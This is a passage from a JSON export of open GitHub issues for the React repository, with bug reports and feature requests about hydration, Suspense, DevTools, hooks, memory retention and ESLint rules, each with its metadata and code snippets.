"https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null }, "2": { "id": 710332294, "node_id": "MDU6TGFiZWw3MTAzMzIyOTQ=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Server%20Rendering", "name": "Component: Server Rendering", "color": "d4c5f9", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2020-04-06T10:24:24Z", "updated_at": "2022-03-30T00:35:51Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\nWhen hydrating from the server, whenever there's a mismatch in the initially checked input in a radio button group and the inputs use `defaultChecked` (uncontrolled), there is no warning of that mismatch and the component behaves in a buggy way for the input that was initially selected in the server payload (the `onChange` callback prop is not fired for the input that was marked as selected in the initial html, when selecting it).\r\n\r\nWorth noting that using a controlled input (using `checked`) makes the bug go away.\r\n\r\nReact version: 16.13.1\r\n\r\n## Steps To Reproduce\r\n\r\n1. In the example provided below, make sure you refresh the browser within Code Sandbox.\r\n2. Check the first radio button. Verify that the radio is checked, but the text next to it still shows as \"not checked\" (which means the onChange prop was not triggered)\r\n3. Attempt to select any other option (works fine), and then back the first one (works fine too).\r\n4. Refreshing the page again, choosing any other option other than the first works fine.\r\n\r\n\r\n\r\nLink to code example: https://codesandbox.io/s/affectionate-stonebraker-3wj68\r\n\r\n\r\n\r\n## The current behavior\r\n\r\nI know that using hydrate doesn't guarantee fixing the mismatches, but it says that it should warn about them in development (https://reactjs.org/docs/react-dom.html#hydrate). In this case, React doesn't warn about the mismatch, and the behavior is buggy, as shown in the example and steps to repro.\r\n\r\n## The expected behavior\r\n\r\nReact should ideally work without the issue, but given that it's not guaranteed to be fixed according to the documentation, it should at least warn about the mismatch.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/18502/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/18499", "id": 594614832, "node_id": "MDU6SXNzdWU1OTQ2MTQ4MzI=", "number": 18499, "title": "Provide a renderer-agnostic equivalent of setNativeProps()", "user": { "login": "drcmda", "id": 2223602, "node_id": "MDQ6VXNlcjIyMjM2MDI=", "avatar_url": "https://avatars.githubusercontent.com/u/2223602?v=4", "gravatar_id": "", "url": "https://api.github.com/users/drcmda", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 15, "created_at": "2020-04-05T19:50:35Z", "updated_at": "2021-03-26T08:17:09Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Dan asked me to open up an issue: https://twitter.com/dan_abramov/status/1246883821477339139\r\n\r\nMy proposal is to extend React with a small hook that allows us to mutate nodes without causing render. React has no official means to deal with fast occurring updates and libraries like react-spring and framer-motion already do something similar but in a way that forces them to carry a lot of burden.\r\n\r\n```jsx\r\nimport React, { useMutation }\r\n\r\nfunction A() {\r\n const [specialRef, set] = useMutation()\r\n\r\n useEffect(() => {\r\n // the following would execute sync and without causing render\r\n // going through the same channel as a regular props update with all\r\n // the internal interpolation (100 --> \"100px\")\r\n set({ style: { left: 100 } })\r\n }, [])\r\n\r\n return
\r\n```\r\n\r\nIt uses the fact that reconcilers know how to handle props, something we don't know in userland unless we cause render to set fresh props, which is not at all optimal for animation or anything frame based. react-dom for instance knows what `margin: 3px` is, react-three-fiber knows what `position: [1,2,3]` is, and so on. These details are defined in the reconciler:\r\n\r\n```jsx\r\n commitUpdate(instance: any, updatePayload: any, type: string, oldProps: any, newProps: any, fiber: Reconciler.Fiber)\r\n```\r\n\r\nIf libraries could use this knowledge from outside they could deal with any platform. Animation libraries like react-spring or framer-motion would turn x-platform in one strike, they could animate everything: dom nodes, react native views, meshes, hardware diodes. We could finally write libraries that are not reliant on platforms.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/18499/reactions", "total_count": 56, "+1": 4, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 51, "rocket": 1, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/18434", "id": 590193182, "node_id": "MDU6SXNzdWU1OTAxOTMxODI=", "number": 18434, "title": "Bug: SuspenseList revealOrder=\"backwards\" is not consistent without tail props", "user": { "login": "velusgautam", "id": 8556085, "node_id": "MDQ6VXNlcjg1NTYwODU=", "avatar_url": "https://avatars.githubusercontent.com/u/8556085?v=4", "gravatar_id": "", "url": "https://api.github.com/users/velusgautam", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" }, "1": { "id": 1109407645, "node_id": "MDU6TGFiZWwxMTA5NDA3NjQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Suspense", "name": "Component: Suspense", "color": "8ffcd6", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2020-03-30T10:53:39Z", "updated_at": "2020-04-06T17:51:36Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nReact version: 0.0.0-experimental-aae83a4b9\r\n\r\n## Steps To Reproduce\r\n\r\n1. If `` is expected to show last component to load first if it loads early but it waits for the top components. If `tail` prop is set it works fine. \r\n2. if `` is given everything works as expected\r\n\r\n\r\n```\r\n\r\n \r\n \r\n Loading posts...}>\r\n \r\n \r\n \r\n Loading fun facts...}>\r\n \r\n \r\n \r\n```\r\n\r\nworks fine when added tail\r\n```\r\n\r\n \r\n \r\n Loading posts...}>\r\n \r\n \r\n \r\n Loading fun facts...}>\r\n \r\n \r\n \r\n```\r\nLink to code example: [https://codesandbox.io/s/bug-suspenselist-revealordertogether-and-error-boundaries-18429-1oky8](https://codesandbox.io/s/bug-suspenselist-revealordertogether-and-error-boundaries-18429-1oky8)\r\n\r\n\r\n\r\n## The current behavior\r\n`` waits for the top elements to load unless tail props is set.\r\n\r\n## The expected behavior\r\n It is expected to work backwards order is last component is loaded in suspense without tail prop being set or not.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/18434/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/18413", "id": 589559997, "node_id": "MDU6SXNzdWU1ODk1NTk5OTc=", "number": 18413, "title": "Devtools: Allow editing context", "user": { "login": "eps1lon", "id": 12292047, "node_id": "MDQ6VXNlcjEyMjkyMDQ3", "avatar_url": "https://avatars.githubusercontent.com/u/12292047?v=4", "gravatar_id": "", "url": "https://api.github.com/users/eps1lon", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2020-03-28T11:37:38Z", "updated_at": "2022-03-05T12:21:35Z", "closed_at": null, "assignee": null, "author_association": "COLLABORATOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: 16.13 and `0.0.0-experimental-aae83a4b9\r\n\r\n## Steps To Reproduce\r\n\r\n1. Goto https://codesandbox.io/s/xenodochial-field-rfdjz\r\n2. Try editing value of `MessageListContext.Provider`\r\n\r\nLink to code example: https://codesandbox.io/s/xenodochial-field-rfdjz\r\n\r\n## The current behavior\r\n\r\nContext from `createContext` can't be edited in the current devtools (provider, consumer, hooks)\r\n\r\n## The expected behavior\r\n\r\nContext value should be editable. I already proposed an implementation for [Provider](https://github.com/facebook/react/pull/18255) and [Consumer](https://github.com/facebook/react/pull/18257).\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/18413/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/18402", "id": 589059162, "node_id": "MDU6SXNzdWU1ODkwNTkxNjI=", "number": 18402, "title": "Batching makes it difficult to perform imperative actions like focus", "user": { "login": "astoilkov", "id": 884810, "node_id": "MDQ6VXNlcjg4NDgxMA==", "avatar_url": "https://avatars.githubusercontent.com/u/884810?v=4", "gravatar_id": "", "url": "https://api.github.com/users/astoilkov", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 31, "created_at": "2020-03-27T11:12:19Z", "updated_at": "2022-04-27T09:06:58Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: 16.9.5\r\n\r\n## Steps To Reproduce\r\n\r\n1. Overwrite batched updates with the following code: `ReactDOM.unstable_batchedUpdates = callback => callback()`\r\n2. Batched updates aren't actually overwritten.\r\n\r\n## Reasoning\r\n\r\nI recognize that this may not be classified as bug because it isn't a documented feature but I have tried to search for a different solution but to no avail. Fixing this behavior can open a new way of using React. I tried writing on [Stack Overflow](https://stackoverflow.com/questions/60852219/disable-unstable-batchedupdates-on-event-handlers-in-react) and writing to [@gaearon](https://twitter.com/antoniostoilkov/status/1242789762307588097).\r\n\r\nI have a number of arguments which support the disabling of batched updates in event handlers and in effects initialization. If anybody is willing to read a document and consider this scenario I am willing to write an RFC.", "closed_by": { "login": "gaearon", "id": 810438, "node_id": "MDQ6VXNlcjgxMDQzOA==", "avatar_url": "https://avatars.githubusercontent.com/u/810438?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gaearon", "type": "User", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/18402/reactions", "total_count": 9, "+1": 5, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 3 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/18390", "id": 588020866, "node_id": "MDU6SXNzdWU1ODgwMjA4NjY=", "number": 18390, "title": "Bug: Event handlers on custom elements work on the client but not on the server", "user": { "login": "esprehn", "id": 415779, "node_id": "MDQ6VXNlcjQxNTc3OQ==", "avatar_url": "https://avatars.githubusercontent.com/u/415779?v=4", "gravatar_id": "", "url": "https://api.github.com/users/esprehn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710332294, "node_id": "MDU6TGFiZWw3MTAzMzIyOTQ=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Server%20Rendering", "name": "Component: Server Rendering", "color": "d4c5f9", "default": false, "description": null }, "1": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2020-03-25T22:09:40Z", "updated_at": "2022-05-12T15:43:13Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nReact version: 16.13.1\r\n\r\n## Steps To Reproduce\r\n\r\n```js\r\nReactDOMServer.renderToString( console.log('clicked')} />)\r\n```\r\n\r\nvs\r\n\r\n```js\r\nReactDOM.render( { console.log('clicked'); }} />, root)\r\n```\r\n\r\n\r\n\r\nLink to code example: https://jsfiddle.net/hsug65x0/2/\r\n\r\n\r\n\r\n## The current behavior\r\n\r\nCustom element event handlers only work client side. In SSR the code of the event handler becomes an attribute value.\r\n\r\n## The expected behavior\r\n\r\nCustom element event handlers work in SSR.\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/18390/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/18229", "id": 576484375, "node_id": "MDU6SXNzdWU1NzY0ODQzNzU=", "number": 18229, "title": "[Feature Request] Allow dependency length to change in hooks", "user": { "login": "georeith", "id": 3090066, "node_id": "MDQ6VXNlcjMwOTAwNjY=", "avatar_url": "https://avatars.githubusercontent.com/u/3090066?v=4", "gravatar_id": "", "url": "https://api.github.com/users/georeith", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 25, "created_at": "2020-03-05T19:36:28Z", "updated_at": "2025-08-09T03:34:35Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Not allowing dependency lists to change size limits the usefulness of `useMemo` in this particular use case but I imagine there are other similar use cases.\r\n\r\nTo be clear I am talking about the error triggered here:\r\n\r\nhttps://github.com/facebook/react/blob/024a764310e64ef38963df16970364b9942a60cd/packages/react-reconciler/src/ReactFiberHooks.js#L322\r\n\r\nFor instance, in my app I have a bunch of items and the user can select an unlimited amount of them, in another component I want to compute an expensive derived value based on this selection that is relevant only to this component, a good use case for `useMemo`.\r\n\r\nHowever it is not currently possible to use `useMemo` and I am forced to compute this derived data outside of this component even though I am only interested in doing so whilst this component is mounted.\r\n\r\nI don't understand why a change in dependency list length cannot be assumed to be a change in the dependencies itself?\r\n\r\nI believe this can be implemented by changing the above to:\r\n\r\n```js\r\nif (prevDeps.length !== nextDeps.length) {\r\n return false;\r\n}\r\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/18229/reactions", "total_count": 24, "+1": 24, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/18116", "id": 570133438, "node_id": "MDU6SXNzdWU1NzAxMzM0Mzg=", "number": 18116, "title": "React retains component references to old renders causing browser memory to increase", "user": { "login": "tsjohns9", "id": 24981281, "node_id": "MDQ6VXNlcjI0OTgxMjgx", "avatar_url": "https://avatars.githubusercontent.com/u/24981281?v=4", "gravatar_id": "", "url": "https://api.github.com/users/tsjohns9", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 15, "created_at": "2020-02-24T20:38:48Z", "updated_at": "2025-06-26T02:26:41Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nReact version: 16.12.0\r\nLink to deployed demo app - https://tsjohns9.github.io/react-memory-leak/\r\nLink to demo repo - https://github.com/tsjohns9/react-memory-leak\r\n\r\n## The current behavior\r\nReact appears to retain references to old renders of components which prevents the browser from running the garbage collector on unused memory.\r\n\r\n## The expected behavior\r\nReact should release the memory of components from previous renders\r\n\r\n## Description\r\nI have a web app that imports an OAS 3/Swagger 2.0 json spec file, and renders the file using the swagger-ui component, https://github.com/swagger-api/swagger-ui.\r\n\r\nThese json files can be very large. If I upload a file that is 500kb and pass it into the swagger-ui component the heap snapshot in chrome will show about 32.6 MB being used to render the app.\r\n\r\nAt some point during the lifecycle of this component the spec file may be updated by a user. When this happens the swagger-ui component will re-render. Between re-renders I can see from my heap snapshot that about 15 more mb are added to the heap.\r\n\r\nEven if this component is completely unmounted, the memory is still retained and cannot be garbage collected.\r\n\r\nI would expect that after a re-render the heap size would be about the same, and the old references would be released for garbage collection.\r\n\r\nI have come here with this issue and not swagger-ui because based on the heap snapshots the detached DOM elements are being retained by React directly.\r\n\r\nThe spec file that I have used is about 500kb. Unfortunately it is a proprietary file and I cannot share it here. Instead, I have provided a spec file from swagger-ui. This file is much smaller, but it will serve the purpose of showing how react is retaining references to old component renders. In my situation since the file is so large this becomes much more apparent to the user that there is a problem than with a much smaller json file.\r\n\r\n![Screen Shot 2020-02-24 at 1 17 42 PM](https://user-images.githubusercontent.com/24981281/75188107-c97d2c00-5708-11ea-95dd-7320d75cbf99.png)\r\n![Screen Shot 2020-02-24 at 1 21 30 PM](https://user-images.githubusercontent.com/24981281/75188095-c2eeb480-5708-11ea-9ede-c6f29452dde5.png)\r\n\r\n## Steps To Reproduce\r\n1. View the app [here](https://tsjohns9.github.io/react-memory-leak/)\r\n2. Open the console, and take a heap snapshot\r\n3. Press the Update Spec button in the top left of the app, or the Unmount button\r\n4. Take another heap snapshot.\r\n5. You will see that the heap size has increased\r\n6. Compare the two heap sizes and check to see how many new detached objects there are. Here is a screenshot as an example\r\n![Screen Shot 2020-02-24 at 1 26 19 PM](https://user-images.githubusercontent.com/24981281/75188470-6c35aa80-5709-11ea-956b-61022e80fa4b.png)\r\n\r\nLink to code example: https://tsjohns9.github.io/react-memory-leak", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/18116/reactions", "total_count": 9, "+1": 9, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/18101", "id": 569229439, "node_id": "MDU6SXNzdWU1NjkyMjk0Mzk=", "number": 18101, "title": "Arbitrary log lines may appear in between an error and the subsequent \"The above error…\" message", "user": { "login": "sophiebits", "id": 6820, "node_id": "MDQ6VXNlcjY4MjA=", "avatar_url": "https://avatars.githubusercontent.com/u/6820?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sophiebits", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 8, "created_at": "2020-02-21T23:08:59Z", "updated_at": "2023-03-01T19:55:02Z", "closed_at": null, "assignee": null, "author_association": "COLLABORATOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: 16.12\r\n\r\nIf one component throws, and one of its siblings logs something else to the console, that sibling's logs appear in between the throwing component and the extra React information about that throw.\r\n\r\nThis is hard to explain in words but easy to explain in code and pictures, so look:\r\n\r\nRepro: https://codesandbox.io/s/boring-firefly-bu79e\r\n\r\n![image](https://user-images.githubusercontent.com/6820/75078940-d822d380-54bb-11ea-99d2-c77fbc0c9a5b.png)\r\n\r\nThe third log line (\"The above…\") refers to the first (\"Uncaught…\") but looks like it refers to the second (\"Please don't…\"). This is confusing when debugging.\r\n\r\nInstead, I would expect \"The above error…\" to be right below the uncaught window-level exception we raise. (Maybe this isn't possible without diverging dev vs. prod behavior? Not sure but thought I'd file…)", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/18101/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/18098", "id": 569176281, "node_id": "MDU6SXNzdWU1NjkxNzYyODE=", "number": 18098, "title": "Bug: Unexpected render", "user": { "login": "TriStarGod", "id": 8272754, "node_id": "MDQ6VXNlcjgyNzI3NTQ=", "avatar_url": "https://avatars.githubusercontent.com/u/8272754?v=4", "gravatar_id": "", "url": "https://api.github.com/users/TriStarGod", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": { "0": { "login": "acdlite", "id": 3624098, "node_id": "MDQ6VXNlcjM2MjQwOTg=", "avatar_url": "https://avatars.githubusercontent.com/u/3624098?v=4", "gravatar_id": "", "url": "https://api.github.com/users/acdlite", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 17, "created_at": "2020-02-21T20:47:07Z", "updated_at": "2022-12-30T11:37:28Z", "closed_at": null, "assignee": { "login": "acdlite", "id": 3624098, "node_id": "MDQ6VXNlcjM2MjQwOTg=", "avatar_url": "https://avatars.githubusercontent.com/u/3624098?v=4", "gravatar_id": "", "url": "https://api.github.com/users/acdlite", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nhttps://stackoverflow.com/questions/60345064/react-hooks-rendering-cause\r\n\r\nI'm playing with simple React components to understand when rendering occurs.\r\n\r\n\r\n## The current behavior\r\n\r\n[Sample 1][1] - Initially renders once. Regardless of the number of times the button is clicked, it doesn't render. This is expected.\r\n\r\n import React, { useState } from \"react\";\r\n import \"./styles.css\";\r\n \r\n export default function App() {\r\n const [state, setState] = useState([\r\n { id: 1, name: \"test1\" },\r\n { id: 2, name: \"test2\" }\r\n ]);\r\n const onClick = () => setState(data => data);\r\n console.log(\"App rendered\");\r\n return (\r\n
\r\n

Test if setting same data causes re-rendering

\r\n \r\n {state.map(({ id, name }) => (\r\n

{name}

\r\n ))}\r\n
\r\n );\r\n }\r\n\r\n\r\n[Sample 2][2] - Initially renders twice since `useEffect` updates `setMessages` with a value. This is expected. However, if the button is click 1+ times, it renders once. It shouldn't even re-render since the same value is being set. **Why is it rendering if no new value / reference is being updated?**\r\n\r\n import React, { useState, useEffect, useMemo, useCallback } from \"react\";\r\n import axios from \"axios\";\r\n import \"./styles.css\";\r\n \r\n const days = [\r\n \"Sunday\",\r\n \"Monday\",\r\n \"Tuesday\",\r\n \"Wednesday\",\r\n \"Thursday\",\r\n \"Friday\",\r\n \"Saturday\"\r\n ];\r\n export default function App() {\r\n const [messages, setMessages] = useState([]);\r\n useEffect(() => {\r\n axios\r\n .get(`https://api.myjson.com/bins/10xva4`)\r\n .then(({ data: { messages } }) => setMessages(messages));\r\n }, []);\r\n const Display = useMemo(\r\n () =>\r\n messages.map(({ content, senderUuid, sentAt }, index) => {\r\n let d = new Date(sentAt);\r\n return (\r\n
\r\n

Content: {content}

\r\n

SenderUuid: {senderUuid}

\r\n

DayOfTheWeek: {d.getDate()}

\r\n

Month: {d.getMonth()}

\r\n

Day: {days[d.getDay()]}

\r\n

Year: {d.getFullYear()}

\r\n
\r\n );\r\n }),\r\n [messages]\r\n );\r\n const onClick = useCallback(() => setMessages(messages => messages), []);\r\n console.log(\"App rendered\");\r\n // console.log({ messages });\r\n return useMemo(\r\n () => (\r\n
\r\n \r\n {Display}\r\n
\r\n ),\r\n [Display, onClick]\r\n );\r\n }\r\n\r\n\r\n [1]: https://codesandbox.io/s/testing-rendering-bo9bp\r\n [2]: https://codesandbox.io/s/call-api-with-useeffect-vlo34\r\n\r\n\r\n\r\n## The expected behavior\r\n\r\nShould not re-render if no new value or reference is updated.\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/18098/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/18051", "id": 566265495, "node_id": "MDU6SXNzdWU1NjYyNjU0OTU=", "number": 18051, "title": "Bug: [eslint-plugin-react-hooks] exhaustive-deps false positive on \"unnecessary\" dependency if its a React component", "user": { "login": "zeorin", "id": 1187078, "node_id": "MDQ6VXNlcjExODcwNzg=", "avatar_url": "https://avatars.githubusercontent.com/u/1187078?v=4", "gravatar_id": "", "url": "https://api.github.com/users/zeorin", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 1249821345, "node_id": "MDU6TGFiZWwxMjQ5ODIxMzQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20ESLint%20Rules", "name": "Component: ESLint Rules", "color": "f7afdb", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 11, "created_at": "2020-02-17T12:24:15Z", "updated_at": "2024-07-02T16:34:22Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Steps to reproduce\r\n\r\n1. create a memoized value using `useMemo`\r\n2. a React component is used in the creation of this value, in a JSX expression\r\n3. specify the React component in the dependency array\r\n\r\nLink to code example: https://github.com/zeorin/eslint-plugin-react-hooks-repro\r\n\r\n## The current behavior\r\n\r\n```\r\nReact Hook useMemo has an unnecessary dependency: 'Component'. Either exclude it or remove the dependency array react-hooks/exhaustive-deps\r\n```\r\n\r\n## The expected behavior\r\n\r\nNo lint errors.\r\n\r\n## More details\r\n\r\nA simple repro (taken from the link above) is:\r\n\r\n```javascript.jsx\r\nfunction Foo({ component: Component }) {\r\n\tconst memoized = useMemo(() => ({\r\n\t\trender: () => \r\n\t}), [Component]);\r\n\r\n\treturn 